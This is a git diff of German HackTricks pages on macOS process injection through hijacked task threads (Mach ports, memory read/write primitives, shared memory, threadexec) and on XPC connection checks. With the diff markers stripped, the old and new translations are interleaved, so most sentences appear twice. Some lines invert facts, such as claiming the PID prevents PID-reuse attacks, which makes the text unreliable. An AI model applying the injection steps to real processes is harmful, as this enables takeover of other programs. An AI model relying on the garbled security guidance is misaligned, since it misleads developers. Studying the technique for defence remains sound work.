Eine Strategie besteht darin, einen **Ausnahmebehandler** für den Remote-Thread mit `thread_set_exception_ports()` zu registrieren, wobei das `lr`-Register vor dem Funktionsaufruf auf eine ungültige Adresse gesetzt wird. Dies löst nach der Funktionsausführung eine Ausnahme aus, die eine Nachricht an den Ausnahmeport sendet, wodurch eine Zustandsinspektion des Threads ermöglicht wird, um den Rückgabewert wiederherzustellen. Alternativ wird, wie im Triple-Fetch-Exploit von Ian Beer übernommen, `lr` so gesetzt, dass es unendlich schleift. Die Register des Threads werden dann kontinuierlich überwacht, bis **`pc` auf diese Anweisung zeigt**.
## 2. Mach-Ports für die Kommunikation
## 2. Mach ports for communication
Die nächste Phase umfasst die Einrichtung von Mach-Ports zur Erleichterung der Kommunikation mit dem Remote-Thread. Diese Ports sind entscheidend für den Transfer beliebiger Send- und Empfangsrechte zwischen Tasks.
Die nächste Phase besteht darin, Mach-Ports einzurichten, um die Kommunikation mit dem Remote-Thread zu erleichtern. Diese Ports sind entscheidend für den Transfer beliebiger Send- und Empfangsrechte zwischen Tasks.
Für die bidirektionale Kommunikation werden zwei Mach-Empfangsrechte erstellt: eines im lokalen und eines im Remote-Task. Anschließend wird ein Senderecht für jeden Port an den entsprechenden Task übertragen, um den Austausch von Nachrichten zu ermöglichen.
Für die bidirektionale Kommunikation werden zwei Mach-Empfangsrechte erstellt: eines im lokalen und das andere im Remote-Task. Anschließend wird ein Senderecht für jeden Port an die Gegenpartei übertragen, um den Nachrichtenaustausch zu ermöglichen.
Bei Fokussierung auf den lokalen Port wird das Empfangsrecht vom lokalen Task gehalten. Der Port wird mit `mach_port_allocate()` erstellt. Die Herausforderung besteht darin, ein Senderecht für diesen Port in den Remote-Task zu übertragen.
Fokussiert auf den lokalen Port, wird das Empfangsrecht vom lokalen Task gehalten. Der Port wird mit `mach_port_allocate()` erstellt. Die Herausforderung besteht darin, ein Senderecht für diesen Port in den Remote-Task zu übertragen.
Eine Strategie besteht darin, `thread_set_special_port()` zu nutzen, um ein Senderecht für den lokalen Port in den `THREAD_KERNEL_PORT` des Remote-Threads zu platzieren. Anschließend wird der Remote-Thread angewiesen, `mach_thread_self()` aufzurufen, um das Senderecht abzurufen.
Eine Strategie besteht darin, `thread_set_special_port()` zu nutzen, um ein Senderecht für den lokalen Port im `THREAD_KERNEL_PORT` des Remote-Threads zu platzieren. Dann wird der Remote-Thread angewiesen, `mach_thread_self()` aufzurufen, um das Senderecht abzurufen.
Für den Remote-Port wird der Prozess im Wesentlichen umgekehrt. Der Remote-Thread wird angewiesen, einen Mach-Port über `mach_reply_port()` zu generieren (da `mach_port_allocate()` aufgrund seines Rückgabemechanismus ungeeignet ist). Nach der Port-Erstellung wird in dem Remote-Thread `mach_port_insert_right()` aufgerufen, um ein Senderecht zu etablieren. Dieses Recht wird dann mit `thread_set_special_port()` im Kernel abgelegt. Zurück im lokalen Task wird `thread_get_special_port()` auf dem Remote-Thread verwendet, um ein Senderecht für den neu zugewiesenen Mach-Port im Remote-Task zu erhalten.
Für den Remote-Port wird der Prozess im Wesentlichen umgekehrt. Der Remote-Thread wird angewiesen, einen Mach-Port über `mach_reply_port()` zu generieren (da `mach_port_allocate()` aufgrund seines Rückgabemechanismus ungeeignet ist). Nach der Port-Erstellung wird `mach_port_insert_right()` im Remote-Thread aufgerufen, um ein Senderecht einzurichten. Dieses Recht wird dann im Kernel mit `thread_set_special_port()` gespeichert. Im lokalen Task wird `thread_get_special_port()` auf dem Remote-Thread verwendet, um ein Senderecht für den neu zugewiesenen Mach-Port im Remote-Task zu erwerben.
Nach Abschluss dieser Schritte werden Mach-Ports eingerichtet, um die Grundlage für die bidirektionale Kommunikation zu schaffen.
Der Abschluss dieser Schritte führt zur Einrichtung von Mach-Ports, die die Grundlage für die bidirektionale Kommunikation legen.
## 3. Grundlegende Speicher-Lese-/Schreib-Primitive
## 3. Basic Memory Read/Write Primitives
In diesem Abschnitt liegt der Fokus auf der Verwendung des Ausführungs-Primitivs zur Einrichtung grundlegender Speicher-Lese- und Schreib-Primitive. Diese ersten Schritte sind entscheidend, um mehr Kontrolle über den Remote-Prozess zu erlangen, obwohl die Primitive in diesem Stadium noch nicht viele Zwecke erfüllen. Bald werden sie zu fortgeschritteneren Versionen aufgerüstet.
In diesem Abschnitt liegt der Fokus auf der Nutzung des Execute-Primitivs, um grundlegende Speicher-Lese- und Schreibprimitive zu etablieren. Diese ersten Schritte sind entscheidend, um mehr Kontrolle über den Remote-Prozess zu erlangen, obwohl die Primitiven in diesem Stadium nicht viele Zwecke erfüllen werden. Bald werden sie auf fortschrittlichere Versionen aktualisiert.
### Speicherlesen und -schreiben mit dem Ausführungs-Primitiv
### Memory Reading and Writing Using Execute Primitive
Das Ziel ist es, Speicherlesen und -schreiben mit spezifischen Funktionen durchzuführen. Zum Lesen von Speicher werden Funktionen verwendet, die der folgenden Struktur ähneln:
Das Ziel ist es, Speicher zu lesen und zu schreiben, indem spezifische Funktionen verwendet werden. Zum Lesen von Speicher werden Funktionen verwendet, die der folgenden Struktur ähneln:
```c
uint64_t read_func(uint64_t *address) {
return *address;
}
```
Und zum Schreiben in den Speicher werden Funktionen ähnlich dieser Struktur verwendet:
Und zum Schreiben in den Speicher werden Funktionen verwendet, die dieser Struktur ähnlich sind:
```c
void write_func(uint64_t *address, uint64_t value) {
*address = value;
}
```
Diese Funktionen entsprechen den gegebenen Assembly-Anweisungen:
Diese Funktionen entsprechen den angegebenen Assemblierungsanweisungen:
```
_read_func:
ldr x0, [x0]
@ -71,55 +72,55 @@ _write_func:
str x1, [x0]
ret
```
### Identifizierung geeigneter Funktionen
### Identifying Suitable Functions
Eine Untersuchung der gängigen Bibliotheken ergab geeignete Kandidaten für diese Operationen:
Ein Scan gängiger Bibliotheken hat geeignete Kandidaten für diese Operationen ergeben:
1. **Speicher lesen:**
Die Funktion `property_getName()` aus der [Objective-C-Laufzeitbibliothek](https://opensource.apple.com/source/objc4/objc4-723/runtime/objc-runtime-new.mm.auto.html) wird als geeignete Funktion zum Lesen von Speicher identifiziert. Die Funktion ist nachstehend aufgeführt:
1. **Reading Memory:**
Die Funktion `property_getName()` aus der [Objective-C-Laufzeitbibliothek](https://opensource.apple.com/source/objc4/objc4-723/runtime/objc-runtime-new.mm.auto.html) wird als geeignete Funktion zum Lesen von Speicher identifiziert. Die Funktion wird unten beschrieben:
```c
const char *property_getName(objc_property_t prop) {
return prop->name;
}
```
Diese Funktion verhält sich effektiv wie die `read_func`, indem sie das erste Feld von `objc_property_t` zurückgibt.
Diese Funktion wirkt effektiv wie die `read_func`, indem sie das erste Feld von `objc_property_t` zurückgibt.
2. **Schreiben von Speicher:**
Das Finden einer vorgefertigten Funktion zum Schreiben von Speicher ist schwieriger. Die Funktion `_xpc_int64_set_value()` aus libxpc ist jedoch ein geeigneter Kandidat mit folgender Disassembly:
2. **Speicher schreiben:**
Eine vorgefertigte Funktion zum Schreiben von Speicher zu finden, ist schwieriger. Die Funktion `_xpc_int64_set_value()` aus libxpc ist jedoch ein geeigneter Kandidat mit der folgenden Disassemblierung:
```c
__xpc_int64_set_value:
str x1, [x0, #0x18]
ret
```
Um einen 64-Bit-Schreibvorgang an einer bestimmten Adresse durchzuführen, ist der Remote-Aufruf wie folgt strukturiert:
Um einen 64-Bit-Schreibvorgang an einer bestimmten Adresse durchzuführen, wird der Remote-Call wie folgt strukturiert:
```c
_xpc_int64_set_value(address - 0x18, value)
```
Mit diesen Grundlagen ist die Bühne für die Erstellung von gemeinsamem Speicher bereitet, was einen bedeutenden Fortschritt bei der Kontrolle des Remote-Prozesses darstellt.
Mit diesen Primitiven ist die Bühne für die Erstellung von gemeinsamem Speicher bereitet, was einen bedeutenden Fortschritt bei der Kontrolle des Remote-Prozesses darstellt.
## 4. Einrichtung des gemeinsamen Speichers
Das Ziel besteht darin, gemeinsamen Speicher zwischen lokalen und Remote-Aufgaben herzustellen, um den Datentransfer zu vereinfachen und das Aufrufen von Funktionen mit mehreren Argumenten zu erleichtern. Der Ansatz besteht darin, `libxpc` und seinen Objekttyp `OS_xpc_shmem` zu nutzen, der auf Mach-Speichereinträgen basiert.
Das Ziel ist es, gemeinsamen Speicher zwischen lokalen und Remote-Aufgaben einzurichten, um den Datentransfer zu vereinfachen und das Aufrufen von Funktionen mit mehreren Argumenten zu erleichtern. Der Ansatz besteht darin, `libxpc` und seinen `OS_xpc_shmem` Objekttyp zu nutzen, der auf Mach-Speichereinträgen basiert.
### Prozessübersicht:
1. **Speicherzuweisung**:
- Weisen Sie den Speicher für die gemeinsame Nutzung mit `mach_vm_allocate()` zu.
- Verwenden Sie `xpc_shmem_create()`, um ein `OS_xpc_shmem`-Objekt für den zugewiesenen Speicherbereich zu erstellen. Diese Funktion verwaltet die Erstellung des Mach-Speichereintrags und speichert das Mach-Senderecht an Offset `0x18` des `OS_xpc_shmem`-Objekts.
- Verwenden Sie `xpc_shmem_create()`, um ein `OS_xpc_shmem` Objekt für den zugewiesenen Speicherbereich zu erstellen. Diese Funktion verwaltet die Erstellung des Mach-Speichereintrags und speichert das Mach-Sende-Recht an Offset `0x18` des `OS_xpc_shmem` Objekts.
2. **Erstellen von gemeinsamem Speicher im Remote-Prozess**:
- Weisen Sie Speicher für das `OS_xpc_shmem`-Objekt im Remote-Prozess mit einem Remote-Aufruf von `malloc()` zu.
- Kopieren Sie den Inhalt des lokalen `OS_xpc_shmem`-Objekts in den Remote-Prozess. Diese erste Kopie enthält jedoch falsche Mach-Speichereintragsnamen an Offset `0x18`.
2. **Erstellung des gemeinsamen Speichers im Remote-Prozess**:
- Weisen Sie Speicher für das `OS_xpc_shmem` Objekt im Remote-Prozess mit einem Remote-Aufruf von `malloc()` zu.
- Kopieren Sie den Inhalt des lokalen `OS_xpc_shmem` Objekts in den Remote-Prozess. Diese erste Kopie wird jedoch falsche Mach-Speichereintragsnamen an Offset `0x18` haben.
3. **Korrektur des Mach-Speichereintrags**:
- Verwenden Sie die Methode `thread_set_special_port()`, um ein Senderecht für den Mach-Speichereintrag in die Remote-Aufgabe einzufügen.
- Nutzen Sie die Methode `thread_set_special_port()`, um ein Sende-Recht für den Mach-Speichereintrag in die Remote-Aufgabe einzufügen.
- Korrigieren Sie das Feld des Mach-Speichereintrags an Offset `0x18`, indem Sie es mit dem Namen des Remote-Speichereintrags überschreiben.
4. **Abschließende Einrichtung des gemeinsamen Speichers**:
- Überprüfen Sie das Remote-`OS_xpc_shmem`-Objekt.
4. **Abschluss der Einrichtung des gemeinsamen Speichers**:
- Validieren Sie das Remote `OS_xpc_shmem` Objekt.
- Stellen Sie die gemeinsame Speicherzuordnung mit einem Remote-Aufruf von `xpc_shmem_remote()` her.
Durch Befolgen dieser Schritte wird der gemeinsame Speicher zwischen den lokalen und Remote-Aufgaben effizient eingerichtet, was einfache Datentransfers und die Ausführung von Funktionen mit mehreren Argumenten ermöglicht.
Durch das Befolgen dieser Schritte wird der gemeinsame Speicher zwischen den lokalen und Remote-Aufgaben effizient eingerichtet, was einfache Datentransfers und die Ausführung von Funktionen, die mehrere Argumente erfordern, ermöglicht.
## Zusätzliche Code-Snippets
@ -128,50 +129,53 @@ Für die Speicherzuweisung und die Erstellung des gemeinsamen Speicherobjekts:
mach_vm_allocate();
xpc_shmem_create();
```
Für das Erstellen und Korrigieren des gemeinsamen Speicherobjekts im Remote-Prozess:
Um das Shared Memory-Objekt im Remote-Prozess zu erstellen und zu korrigieren:
```c
malloc(); // for allocating memory remotely
thread_set_special_port(); // for inserting send right
```
Erinnere dich daran, die Details von Mach-Ports und Speicher-Eintragsnamen korrekt zu behandeln, um sicherzustellen, dass die Einrichtung des gemeinsamen Speichers ordnungsgemäß funktioniert.
## 5. Vollständige Kontrolle erreichen
Nach erfolgreichem Aufbau des gemeinsamen Speichers und Erlangen beliebiger Ausführungsfähigkeiten haben wir im Wesentlichen die volle Kontrolle über den Zielprozess erlangt. Die Schlüsselfunktionen, die diese Kontrolle ermöglichen, sind:
Nach erfolgreicher Einrichtung des gemeinsamen Speichers und dem Erlangen arbiträrer Ausführungsfähigkeiten haben wir im Wesentlichen die vollständige Kontrolle über den Zielprozess erlangt. Die Schlüssel-Funktionalitäten, die diese Kontrolle ermöglichen, sind:
1. **Beliebige Speicheroperationen**:
- Führen Sie beliebige Speicherlesevorgänge durch, indem Sie `memcpy()` aufrufen, um Daten aus dem gemeinsamen Bereich zu kopieren.
- Führen Sie beliebige Speicherschreibvorgänge aus, indem Sie `memcpy()` verwenden, um Daten in den gemeinsamen Bereich zu übertragen.
1. **Arbiträre Speicheroperationen**:
- Führe arbiträre Speicherlesevorgänge durch, indem du `memcpy()` aufrufst, um Daten aus dem gemeinsamen Bereich zu kopieren.
- Führe arbiträre Schreibvorgänge im Speicher durch, indem du `memcpy()` verwendest, um Daten in den gemeinsamen Bereich zu übertragen.
2. **Behandlung von Funktionsaufrufen mit mehreren Argumenten**:
- Für Funktionen, die mehr als 8 Argumente erfordern, ordnen Sie die zusätzlichen Argumente gemäß der Aufrufkonvention auf dem Stapel an.
- Für Funktionen, die mehr als 8 Argumente erfordern, ordne die zusätzlichen Argumente auf dem Stack gemäß der Aufrufkonvention an.
3. **Mach-Port-Übertragung**:
- Übertragen Sie Mach-Ports zwischen Aufgaben über Mach-Nachrichten über zuvor eingerichtete Ports.
- Übertrage Mach-Ports zwischen Aufgaben über Mach-Nachrichten über zuvor eingerichtete Ports.
4. **Dateideskriptor-Übertragung**:
- Übertragen Sie Dateideskriptoren zwischen Prozessen mithilfe von Dateiports, einer Technik, die von Ian Beer in `triple_fetch` hervorgehoben wurde.
- Übertrage Dateideskriptoren zwischen Prozessen unter Verwendung von Fileports, einer Technik, die von Ian Beer in `triple_fetch` hervorgehoben wurde.
Diese umfassende Kontrolle ist in der [threadexec](https://github.com/bazad/threadexec)-Bibliothek zusammengefasst, die eine detaillierte Implementierung und eine benutzerfreundliche API für die Interaktion mit dem Opferprozess bietet.
Diese umfassende Kontrolle ist in der [threadexec](https://github.com/bazad/threadexec) Bibliothek zusammengefasst, die eine detaillierte Implementierung und eine benutzerfreundliche API für die Interaktion mit dem Opferprozess bietet.
## Wichtige Überlegungen:
- Stellen Sie sicher, dass `memcpy()` ordnungsgemäß für Speicherlese- und -schreiboperationen verwendet wird, um die Systemstabilität und die Datenintegrität zu gewährleisten.
- Beim Übertragen von Mach-Ports oder Dateideskriptoren sollten Sie ordnungsgemäße Protokolle einhalten und Ressourcen verantwortungsbewusst behandeln, um Lecks oder unbeabsichtigten Zugriff zu verhindern.
- Stelle sicher, dass `memcpy()` ordnungsgemäß für Speicher-Lese-/Schreiboperationen verwendet wird, um die Systemstabilität und Datenintegrität zu gewährleisten.
- Befolge beim Übertragen von Mach-Ports oder Dateideskriptoren die richtigen Protokolle und gehe verantwortungsvoll mit Ressourcen um, um Lecks oder unbeabsichtigten Zugriff zu verhindern.
Durch Einhaltung dieser Richtlinien und Verwendung der `threadexec`-Bibliothek kann man Prozesse auf granularer Ebene effizient verwalten und mit ihnen interagieren, um die volle Kontrolle über den Zielprozess zu erlangen.
Durch die Einhaltung dieser Richtlinien und die Nutzung der `threadexec` Bibliothek kann man Prozesse effizient verwalten und auf granularer Ebene interagieren, um die vollständige Kontrolle über den Zielprozess zu erreichen.
## Referenzen
* [https://bazad.github.io/2018/10/bypassing-platform-binary-task-threads/](https://bazad.github.io/2018/10/bypassing-platform-binary-task-threads/)
{% hint style="success" %}
Lerne & übe AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Lerne & übe GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Erlernen Sie AWS-Hacking von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Unterstütze HackTricks</summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks im PDF-Format herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegramm-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie Pull Requests an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.
* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Teile Hacking-Tricks, indem du PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichst.
</details>
{% endhint %}

View file

@ -1,60 +1,61 @@
# macOS XPC Verbindung Prozessprüfung
# macOS XPC Connecting Process Check
{% hint style="success" %}
Lerne & übe AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Lerne & übe GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Lernen Sie AWS-Hacking von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegramm-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.
* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Teile Hacking-Tricks, indem du PRs zu den** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichst.
</details>
{% endhint %}
## XPC Verbindung Prozessprüfung
## XPC Connecting Process Check
Wenn eine Verbindung zu einem XPC-Dienst hergestellt wird, überprüft der Server, ob die Verbindung zulässig ist. Dies sind die üblicherweise durchgeführten Überprüfungen:
Wenn eine Verbindung zu einem XPC-Dienst hergestellt wird, überprüft der Server, ob die Verbindung erlaubt ist. Dies sind die Überprüfungen, die normalerweise durchgeführt werden:
1. Überprüfen Sie, ob der verbindende **Prozess mit einem von Apple signierten** Zertifikat signiert ist (das nur von Apple vergeben wird).
* Wenn dies **nicht überprüft** wird, könnte ein Angreifer ein **gefälschtes Zertifikat** erstellen, um jede andere Überprüfung zu erfüllen.
2. Überprüfen Sie, ob der verbindende Prozess mit dem **Zertifikat der Organisation** signiert ist (Team-ID-Überprüfung).
* Wenn dies **nicht überprüft** wird, kann jedes Entwicklerzertifikat von Apple zum Signieren und zur Verbindung mit dem Dienst verwendet werden.
3. Überprüfen Sie, ob der verbindende Prozess eine **korrekte Bundle-ID** enthält.
* Wenn dies **nicht überprüft** wird, kann jedes von derselben Organisation signierte Tool verwendet werden, um mit dem XPC-Dienst zu interagieren.
4. (4 oder 5) Überprüfen Sie, ob der verbindende Prozess eine **korrekte Softwareversionsnummer** hat.
* Wenn dies **nicht überprüft** wird, können alte, unsichere Clients, die anfällig für Prozesseinspritzung sind, verwendet werden, um sich mit dem XPC-Dienst zu verbinden, selbst wenn die anderen Überprüfungen vorhanden sind.
5. (4 oder 5) Überprüfen Sie, ob der verbindende Prozess eine gehärtete Laufzeit ohne gefährliche Berechtigungen hat (wie solche, die das Laden beliebiger Bibliotheken oder die Verwendung von DYLD-Umgebungsvariablen ermöglichen).
1. Wenn dies **nicht überprüft** wird, könnte der Client **anfällig für Codeinjektion** sein.
6. Überprüfen Sie, ob der verbindende Prozess eine Berechtigung hat, die ihm die Verbindung mit dem Dienst ermöglicht. Dies gilt für Apple-Binärdateien.
7. Die **Überprüfung** muss **basierend** auf dem **Audit-Token des verbindenden Clients** erfolgen, **anstatt** auf seiner Prozess-ID (**PID**), da ersteres **PID-Wiederverwendungsangriffe** verhindert.
* Entwickler verwenden die Audit-Token-API-Routine **selten**, da sie **privat** ist und von Apple jederzeit **geändert** werden könnte. Außerdem ist die Verwendung privater APIs in Mac App Store-Apps nicht zulässig.
1. Überprüfe, ob der verbindende **Prozess mit einem von Apple signierten** Zertifikat signiert ist (nur von Apple ausgegeben).
* Wenn dies **nicht verifiziert** wird, könnte ein Angreifer ein **gefälschtes Zertifikat** erstellen, um andere Überprüfungen zu bestehen.
2. Überprüfe, ob der verbindende Prozess mit dem **Zertifikat der Organisation** signiert ist (Team-ID-Überprüfung).
* Wenn dies **nicht verifiziert** wird, kann **jedes Entwicklerzertifikat** von Apple zur Signierung verwendet werden und sich mit dem Dienst verbinden.
3. Überprüfe, ob der verbindende Prozess **eine gültige Bundle-ID** enthält.
* Wenn dies **nicht verifiziert** wird, könnte jedes Tool, das **von derselben Organisation signiert** ist, verwendet werden, um mit dem XPC-Dienst zu interagieren.
4. (4 oder 5) Überprüfe, ob der verbindende Prozess eine **gültige Softwareversionsnummer** hat.
* Wenn dies **nicht verifiziert** wird, könnte ein alter, unsicherer Client, der anfällig für Prozessinjektionen ist, verwendet werden, um sich mit dem XPC-Dienst zu verbinden, selbst wenn die anderen Überprüfungen vorhanden sind.
5. (4 oder 5) Überprüfe, ob der verbindende Prozess eine gehärtete Laufzeit ohne gefährliche Berechtigungen hat (wie die, die das Laden beliebiger Bibliotheken oder die Verwendung von DYLD-Umgebungsvariablen ermöglichen).
1. Wenn dies **nicht verifiziert** wird, könnte der Client **anfällig für Code-Injektionen** sein.
6. Überprüfe, ob der verbindende Prozess eine **Berechtigung** hat, die es ihm erlaubt, sich mit dem Dienst zu verbinden. Dies gilt für Apple-Binärdateien.
7. Die **Überprüfung** muss **auf dem Audit-Token des verbindenden Clients** **basieren** und nicht auf seiner Prozess-ID (**PID**), da letzteres **PID-Wiederverwendungsangriffe** verhindert.
* Entwickler **verwenden selten den Audit-Token** API-Aufruf, da er **privat** ist, sodass Apple ihn jederzeit **ändern** könnte. Darüber hinaus ist die Verwendung privater APIs in Mac App Store-Apps nicht erlaubt.
* Wenn die Methode **`processIdentifier`** verwendet wird, könnte sie anfällig sein.
* Anstelle von **`xpc_connection_get_audit_token`** sollte **`xpc_dictionary_get_audit_token`** verwendet werden, da letztere in bestimmten Situationen ebenfalls [anfällig sein könnte](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/).
* **`xpc_dictionary_get_audit_token`** sollte anstelle von **`xpc_connection_get_audit_token`** verwendet werden, da letzteres auch in bestimmten Situationen [anfällig sein könnte](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/).
### Kommunikationsangriffe
Weitere Informationen zum Angriff auf die PID-Wiederverwendung finden Sie unter:
Für weitere Informationen über den PID-Wiederverwendungsangriff siehe:
{% content-ref url="macos-pid-reuse.md" %}
[macos-pid-reuse.md](macos-pid-reuse.md)
{% endcontent-ref %}
Weitere Informationen zum Angriff auf **`xpc_connection_get_audit_token`** finden Sie unter:
Für weitere Informationen über den **`xpc_connection_get_audit_token`** Angriff siehe:
{% content-ref url="macos-xpc_connection_get_audit_token-attack.md" %}
[macos-xpc\_connection\_get\_audit\_token-attack.md](macos-xpc\_connection\_get\_audit\_token-attack.md)
{% endcontent-ref %}
### Trustcache - Prävention von Downgrade-Angriffen
### Trustcache - Downgrade-Angriffe verhindern
Trustcache ist eine defensive Methode, die in Apple Silicon-Maschinen eingeführt wurde und eine Datenbank von CDHSAH von Apple-Binärdateien speichert, sodass nur zugelassene, nicht modifizierte Binärdateien ausgeführt werden können. Dadurch wird die Ausführung von Downgrade-Versionen verhindert.
Trustcache ist eine defensive Methode, die in Apple Silicon-Maschinen eingeführt wurde und eine Datenbank von CDHSAH von Apple-Binärdateien speichert, sodass nur erlaubte, nicht modifizierte Binärdateien ausgeführt werden können. Dies verhindert die Ausführung von Downgrade-Versionen.
### Codebeispiele
Der Server implementiert diese **Überprüfung** in einer Funktion namens **`shouldAcceptNewConnection`**.
Der Server wird diese **Überprüfung** in einer Funktion namens **`shouldAcceptNewConnection`** implementieren.
{% code overflow="wrap" %}
```objectivec
@ -65,9 +66,9 @@ return YES;
```
{% endcode %}
Das Objekt NSXPCConnection hat eine **private** Eigenschaft **`auditToken`** (die verwendet werden sollte, aber sich ändern könnte) und eine **öffentliche** Eigenschaft **`processIdentifier`** (die nicht verwendet werden sollte).
Das Objekt NSXPCConnection hat eine **private** Eigenschaft **`auditToken`** (die verwendet werden sollte, sich aber ändern könnte) und eine **öffentliche** Eigenschaft **`processIdentifier`** (die nicht verwendet werden sollte).
Der verbindende Prozess könnte mit etwas Ähnlichem überprüft werden:
Der verbindende Prozess könnte mit etwas wie folgendem überprüft werden:
{% code overflow="wrap" %}
```objectivec
@ -91,7 +92,7 @@ SecTaskValidateForRequirement(taskRef, (__bridge CFStringRef)(requirementString)
```
{% endcode %}
Wenn ein Entwickler die Version des Clients nicht überprüfen möchte, könnte er zumindest überprüfen, ob der Client anfällig für Prozessinjektion ist:
Wenn ein Entwickler die Version des Clients nicht überprüfen möchte, könnte er zumindest überprüfen, ob der Client nicht anfällig für Prozessinjektion ist:
{% code overflow="wrap" %}
```objectivec
@ -110,16 +111,17 @@ return Yes; // Accept connection
```
{% endcode %}
{% hint style="success" %}
Lerne & übe AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Lerne & übe GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Lernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Unterstütze HackTricks</summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.
* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Teile Hacking-Tricks, indem du PRs zu den** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichst.
</details>
